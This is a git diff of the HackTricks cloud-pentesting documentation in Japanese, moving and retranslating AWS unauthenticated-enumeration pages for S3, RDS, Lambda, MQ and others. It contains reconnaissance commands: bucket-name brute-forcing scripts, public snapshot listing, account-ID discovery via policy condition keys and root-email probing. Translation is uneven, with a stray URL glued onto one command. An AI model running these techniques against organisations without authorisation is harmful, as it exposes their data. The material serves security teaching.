-この技術を使用すると、タグキーがわかっている場合に**タグの値**を取得することもできます（いくつかのデフォルトの興味深いものがあります）。
-
-詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
new file mode 100644
index 000000000..a6934303e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
@@ -0,0 +1,20 @@
+# AWS - Lambda 未認証アクセス
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 公開関数のURL
+
+誰でもアクセスできる**Lambda**を**公開関数のURL**に関連付けることができます。これにはWebの脆弱性が含まれている可能性があります。
+
+### 公開URLテンプレート
+```
+https://{random_id}.lambda-url.{region}.on.aws/
+```
+### 公開 Lambda URL からアカウントIDを取得
+
+S3 buckets、Data Exchange、API gateways と同様に、公開 Lambda URL から **`aws:ResourceAccount`** **Policy Condition Key** を悪用してアカウントのアカウント ID を特定することが可能です。これは、ポリシーの **`aws:ResourceAccount`** セクションでワイルドカードを悪用し、アカウント ID を1文字ずつ見つけることで行います。\
+この手法は、タグキーが分かっている場合に**タグの値**を取得することも可能です（デフォルトで興味深いものがいくつかあります）。
+
+詳細は [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) と、このエクスプロイトを自動化するためのツール [**conditional-love**](https://github.com/plerionhq/conditional-love/) を参照してください。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
similarity index 62%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
index 527da73b3..2f4586210 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
@@ -1,11 +1,11 @@
 # AWS - Media Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-### 公開URLテンプレート
+### 公開 URL テンプレート
 ```
 https://{random_id}.mediaconvert.{region}.amazonaws.com
 https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
 https://{random_id}.data.mediastore.{region}.amazonaws.com
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
deleted file mode 100644
index 3eb88afdb..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# AWS - MQ 認証なし列挙
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## 公開ポート
-
-### **RabbitMQ**
-
-**RabbitMQ** の場合、**デフォルトで公開アクセス** と ssl が有効です。しかし、アクセスするには **資格情報** が必要です (`amqps://.mq.us-east-1.amazonaws.com:5671`​​)。さらに、`https://b-<uuid>.mq.us-east-1.amazonaws.com/` で資格情報を知っていれば **ウェブ管理コンソールにアクセス** することが可能です。
-
-### ActiveMQ
-
-**ActiveMQ** の場合、デフォルトで公開アクセスと ssl が有効ですが、アクセスするには資格情報が必要です。
-
-### 公開URLテンプレート
-```
-https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
-ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md
new file mode 100644
index 000000000..b271a1834
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md
@@ -0,0 +1,20 @@
+# AWS - MQ Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 公開ポート
+
+### **RabbitMQ**
+
+**RabbitMQ**の場合、デフォルトで**公開アクセス**とsslが有効になっています。ただしアクセスには**credentials**が必要です (`amqps://.mq.us-east-1.amazonaws.com:5671`)。さらに、`https://b-<uuid>.mq.us-east-1.amazonaws.com/` の資格情報がわかれば**Web管理コンソールにアクセス**できます。
+
+### ActiveMQ
+
+**ActiveMQ**の場合、デフォルトで公開アクセスとsslが有効になっていますが、アクセスには**credentials**が必要です。
+
+### 公開URLテンプレート
+```
+https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
+ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
deleted file mode 100644
index 266f26188..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# AWS - MSK 認証なし列挙
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### 公開ポート
-
-**Kafkaブローカーを公開することは可能ですが、** **認証情報**、IAM権限、または有効な証明書が必要です（設定された認証方法によります）。
-
-また、**認証を無効にすることも可能ですが、その場合は** **ポートをインターネットに直接公開することはできません。**
-
-### 公開URLテンプレート
-```
-b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
-{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md
new file mode 100644
index 000000000..1427481e0
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md
@@ -0,0 +1,16 @@
+# AWS - MSK Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Public Port
+
+**expose the Kafka broker to the public**ことは可能ですが、**credentials**、IAM permissions、または有効なcertificateが必要です（設定されたauth methodによります）。
+
+また、**possible to disabled authentication**にすることもできますが、その場合はそのポートをInternetに**it's not possible to directly expose**。
+
+### Public URL template
+```
+b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
+{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
similarity index 57%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
index 311772133..1a133d233 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
@@ -1,22 +1,22 @@
-# AWS - RDS 認証なし列挙
+# AWS - RDS Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
-詳細については、次を確認してください：
+詳細は次を参照してください:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ## 公開ポート
 
-**インターネットからデータベースへの公開アクセス**を提供することが可能です。攻撃者は依然として**ユーザー名とパスワード、**IAMアクセス、または**エクスプロイト**を知っている必要があります。
+インターネットからの**データベース**への公開アクセスを許可することが可能です。攻撃者はそれでも、データベースに侵入するために**ユーザー名とパスワードを知っていること**、IAMアクセス、または**exploit**が必要になります。
 
 ## 公開RDSスナップショット
 
-AWSは**誰でもRDSスナップショットをダウンロードするアクセスを提供する**ことを許可しています。自分のアカウントからこれらの公開RDSスナップショットを非常に簡単にリストできます：
+AWSは**誰でもRDSスナップショットをダウンロードできるアクセスを許可する**ことができます。これらの公開RDSスナップショットは自分のアカウントから非常に簡単に一覧できます:
 ```bash
 # Public RDS snapshots
 aws rds describe-db-snapshots --include-public
@@ -32,9 +32,9 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2]
 ## Even if in the console appear as there are public snapshot it might be public
 ## snapshots from other accounts used by the current account
 ```
-### 公開URLテンプレート
+### 公開 URL テンプレート
 ```
 mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
deleted file mode 100644
index 75d16aa4d..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Redshift Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### 公開URLテンプレート
-```
-{user_provided}.<random>.<region>.redshift.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md
new file mode 100644
index 000000000..3b08de8ad
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md
@@ -0,0 +1,9 @@
+# AWS - Redshift 認証不要の列挙
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### 公開 URL テンプレート
+```
+{user_provided}.<random>.<region>.redshift.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
deleted file mode 100644
index 3c7e701ef..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
+++ /dev/null
@@ -1,194 +0,0 @@
-# AWS - S3 認証なし列挙
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3 パブリックバケット
-
-バケットは、**任意のユーザーがバケットの内容をリストできる**場合に**「パブリック」**と見なされ、**特定のユーザーのみがリストまたは書き込みできる**場合に**「プライベート」**と見なされます。
-
-企業は、**バケットの権限が誤って設定されている**可能性があり、すべてのユーザーまたはAWSの任意のアカウントに認証されたすべてのユーザーにアクセスを許可することがあります（つまり、誰でも）。このような誤設定があっても、バケットには独自のアクセス制御リスト（ACL）があるため、いくつかのアクションは実行できない場合があります。
-
-**AWS-S3の誤設定についてはこちらで学ぶ:** [**http://flaws.cloud**](http://flaws.cloud/) **および** [**http://flaws2.cloud/**](http://flaws2.cloud)
-
-### AWS バケットの発見
-
-ウェブページがAWSを使用してリソースを保存しているかどうかを見つけるためのさまざまな方法：
-
-#### 列挙 & OSINT:
-
-- **wappalyzer** ブラウザプラグインを使用
-- burpを使用して（ウェブを**スパイダー**する）または手動でページをナビゲートすることで、すべての**リソース**が履歴に保存されます。
-- ドメインでの**リソースを確認**：
-
-```
-http://s3.amazonaws.com/[bucket_name]/
-http://[bucket_name].s3.amazonaws.com/
-```
-
-- **CNAMES**を確認します。`resources.domain.com`は`bucket.s3.amazonaws.com`のCNAMEを持っている可能性があります。
-- **[s3dns](https://github.com/olizimmermann/s3dns)** – DNSトラフィックを分析することでクラウドストレージバケット（S3、GCP、Azure）を受動的に特定する軽量DNSサーバー。CNAMEを検出し、解決チェーンを追跡し、バケットパターンを一致させ、ブルートフォースやAPIベースの発見に対する静かな代替手段を提供します。偵察やOSINTワークフローに最適です。
-- [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)、すでに**発見されたオープンバケット**のウェブサイト。
-- **バケット名**と**バケットドメイン名**は**同じである必要があります。**
-- **flaws.cloud**は**IP** 52.92.181.107にあり、そこに行くと[https://aws.amazon.com/s3/](https://aws.amazon.com/s3/)にリダイレクトされます。また、`dig -x 52.92.181.107`は`s3-website-us-west-2.amazonaws.com`を返します。
-- バケットであることを確認するには、[https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/)を**訪問**することもできます。
-
-#### ブルートフォース
-
-ペンテストしている会社に関連する**名前をブルートフォース**することでバケットを見つけることができます：
-
-- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
-- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
-- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump)（潜在的なバケット名のリストを含む）
-- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
-- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
-- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
-- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3)
-- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
-- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
-
-<pre class="language-bash"><code class="lang-bash"># パーミュテーションを作成するためのワードリストを生成
-curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
-curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
-cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
-
-# テストするためのドメインとサブドメインに基づいてワードリストを生成
-## これらのドメインとサブドメインをsubdomains.txtに書き込む
-cat subdomains.txt > /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
-
-# 攻撃するためのドメインとサブドメインのリストに基づいてパーミュテーションを作成
-goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## 前のツールはサブドメインのパーミュテーションを作成することに特化しているので、そのリストをフィルタリングします
-<strong>### "."で終わる行を削除
-</strong>cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### TLDなしのリストを作成
-cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### ドットなしのリストを作成
-cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### ハイフンなしのリストを作成
-cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
-
-## 最終的なワードリストを生成
-cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
-
-## s3scannerを呼び出す
-s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
-</code></pre>
-
-#### S3 バケットの略奪
-
-S3のオープンバケットがある場合、[**BucketLoot**](https://github.com/redhuntlabs/BucketLoot)は自動的に**興味深い情報を検索**できます。
-
-### リージョンを見つける
-
-AWSがサポートするすべてのリージョンは、[**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)で確認できます。
-
-#### DNSによる
-
-**`dig`**および**`nslookup`**を使用して、発見されたIPの**DNSリクエスト**を行うことでバケットのリージョンを取得できます：
-```bash
-dig flaws.cloud
-;; ANSWER SECTION:
-flaws.cloud.    5    IN    A    52.218.192.11
-
-nslookup 52.218.192.11
-Non-authoritative answer:
-11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
-```
-解決されたドメインに「website」という単語が含まれていることを確認してください。\
-静的ウェブサイトには次のURLでアクセスできます: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
-または、バケットには次のURLでアクセスできます: `flaws.cloud.s3-us-west-2.amazonaws.com`
-
-
-
-#### 試してみる
-
-バケットにアクセスしようとした場合、**指定したドメイン名に別のリージョンが含まれている**（たとえば、バケットが `bucket.s3.amazonaws.com` にあるが、`bucket.s3-website-us-west-2.amazonaws.com` にアクセスしようとした場合）、**正しい場所に誘導されます**:
-
-![](<../../../images/image (106).png>)
-
-### バケットの列挙
-
-バケットのオープン性をテストするために、ユーザーは単にURLをウェブブラウザに入力することができます。プライベートバケットは「アクセス拒否」と応答します。パブリックバケットは、保存された最初の1,000オブジェクトをリストします。
-
-誰でもアクセス可能:
-
-![](<../../../images/image (201).png>)
-
-プライベート:
-
-![](<../../../images/image (83).png>)
-
-これをCLIでも確認できます:
-```bash
-#Use --no-sign-request for check Everyones permissions
-#Use --profile <PROFILE_NAME> to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
-#--recursive if you want list recursivelyls
-#Opcionally you can select the region if you now it
-aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
-```
-バケットにドメイン名がない場合、列挙しようとするときは、**バケット名のみを入力**し、AWSs3ドメイン全体は入力しないでください。例: `s3://<BUCKETNAME>`
-
-### 公開URLテンプレート
-```
-https://{user_provided}.s3.amazonaws.com
-```
-### 公開バケットからアカウントIDを取得する
-
-新しい **`S3:ResourceAccount`** **ポリシー条件キー**を利用することで、AWSアカウントを特定することが可能です。この条件は、アカウントが存在するS3バケットに基づいてアクセスを**制限**します（他のアカウントベースのポリシーは、リクエスト元のプリンシパルが存在するアカウントに基づいて制限します）。\
-ポリシーには**ワイルドカード**を含めることができるため、アカウント番号を**1つずつ**見つけることが可能です。
-
-このツールはそのプロセスを自動化します：
-```bash
-# Installation
-pipx install s3-account-search
-pip install s3-account-search
-# With a bucket
-s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
-# With an object
-s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
-```
-この技術は、API Gateway URLs、Lambda URLs、Data Exchange データセット、さらにはタグの値を取得するためにも機能します（タグキーがわかっている場合）。詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するためのツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。
-
-### バケットが AWS アカウントに属していることを確認する
-
-[**このブログ投稿**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)で説明されているように、**バケットをリストする権限がある場合**、次のようなリクエストを送信することで、バケットが属する accountID を確認することが可能です。
-```bash
-curl -X GET "[bucketname].amazonaws.com/" \
--H "x-amz-expected-bucket-owner: [correct-account-id]"
-
-<?xml version="1.0" encoding="UTF-8"?>
-<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">...</ListBucketResult>
-```
-エラーが「Access Denied」の場合、アカウントIDが間違っていることを意味します。
-
-### ルートアカウント列挙としての使用メール
-
-[**このブログ記事**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)で説明されているように、S3バケットに対してACLを介してメールに権限を付与しようとすることで、メールアドレスがAWSアカウントに関連しているかどうかを確認することが可能です。これがエラーを引き起こさない場合、そのメールは何らかのAWSアカウントのルートユーザーであることを意味します。
-```python
-s3_client.put_bucket_acl(
-Bucket=bucket_name,
-AccessControlPolicy={
-'Grants': [
-{
-'Grantee': {
-'EmailAddress': 'some@emailtotest.com',
-'Type': 'AmazonCustomerByEmail',
-},
-'Permission': 'READ'
-},
-],
-'Owner': {
-'DisplayName': 'Whatever',
-'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
-}
-}
-)
-```
-## 参考文献
-
-- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
new file mode 100644
index 000000000..0c80295f4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
@@ -0,0 +1,193 @@
+# AWS - S3 Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3 Public Buckets
+
+A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**.
+
+Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs).
+
+**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud)
+
+### Finding AWS Buckets
+
+Different methods to find when a webpage is using AWS to storage some resources:
+
+#### Enumeration & OSINT:
+
+- Using **wappalyzer** browser plugin
+- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History.
+- **Check for resources** in domains like:
+
+```
+http://s3.amazonaws.com/[bucket_name]/
+http://[bucket_name].s3.amazonaws.com/
+```
+
+- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com`
+- **[s3dns](https://github.com/olizimmermann/s3dns)** – DNS トラフィックを解析してクラウドストレージ buckets (S3, GCP, Azure) を受動的に識別する軽量な DNS サーバーです。CNAME を検出し、解決チェーンを辿り、bucket パターンと照合します。ブルートフォースや API ベースの検出の静かな代替手段を提供し、recon と OSINT ワークフローに最適です。
+- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**.
+- The **bucket name** and the **bucket domain name** needs to be **the same.**
+- **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`.
+- To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
+
+#### Brute-Force
+
+You can find buckets by **brute-forcing name**s related to the company you are pentesting:
+
+- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
+- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
+- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names)
+- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
+- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
+- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
+- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3)
+- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
+- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
+
+<pre class="language-bash"><code class="lang-bash"># Generate a wordlist to create permutations
+curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
+curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
+cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
+
+# Generate a wordlist based on the domains and subdomains to test
+## Write those domains and subdomains in subdomains.txt
+cat subdomains.txt > /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
+
+# Create permutations based in a list with the domains and subdomains to attack
+goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
+## The previous tool is specialized increating permutations for subdomains, lets filter that list
+<strong>### 末尾が「.」で終わる行を削除</strong>cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
+### Create list without TLD
+cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
+### Create list without dots
+cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
+### Create list without hyphens
+cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
+
+## Generate the final wordlist
+cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
+
+## Call s3scanner
+s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
+</code></pre>
+
+#### Loot S3 Buckets
+
+Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**.
+
+### Find the Region
+
+You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
+
+#### By DNS
+
+You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**:
+```bash
+dig flaws.cloud
+;; ANSWER SECTION:
+flaws.cloud.    5    IN    A    52.218.192.11
+
+nslookup 52.218.192.11
+Non-authoritative answer:
+11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
+```
+解決されたドメインに "website" という語が含まれていることを確認します。\
+静的ウェブサイトには次のURLにアクセスして確認できます: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
+またはバケットにアクセスするには次を訪問します: `flaws.cloud.s3-us-west-2.amazonaws.com`
+
+
+
+#### 試して確認する
+
+バケットにアクセスしようとしたとき、**ドメイン名に別のリージョンを指定した場合**（例えばバケットが `bucket.s3.amazonaws.com` にあるのに `bucket.s3-website-us-west-2.amazonaws.com` にアクセスしようとした場合）、**正しい場所が示されます**:
+
+![](<../../../images/image (106).png>)
+
+### バケットの列挙
+
+バケットの公開状態を確認するには、ユーザーがブラウザのURL欄にそのURLを入力するだけです。プライベートなバケットは "Access Denied" と応答します。パブリックなバケットは保存されている最初の1,000個のオブジェクトを一覧表示します。
+
+全員に公開:
+
+![](<../../../images/image (201).png>)
+
+プライベート:
+
+![](<../../../images/image (83).png>)
+
+これをcliで確認することもできます:
+```bash
+#Use --no-sign-request for check Everyones permissions
+#Use --profile <PROFILE_NAME> to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
+#--recursive if you want list recursivelyls
+#Opcionally you can select the region if you now it
+aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
+```
+バケットにドメイン名がない場合、列挙を試みるときは、**バケット名だけを入力**し、AWSs3ドメイン全体は入力しないでください。例: `s3://<BUCKETNAME>`
+
+### 公開URLテンプレート
+```
+https://{user_provided}.s3.amazonaws.com
+```
+### 公開 Bucket からアカウントIDを取得
+
+新しい **`S3:ResourceAccount`** **Policy Condition Key** を利用することで、AWS アカウントを特定することが可能です。この条件は **restricts access based on the S3 bucket** an account is in (他のアカウントベースのポリシーは、要求元プリンシパルが所属するアカウントに基づいて制限します)。\
+また、ポリシーに **wildcards** を含めることができるため、アカウント番号を **just one number at a time** で見つけることが可能です。
+
+このツールはそのプロセスを自動化します:
+```bash
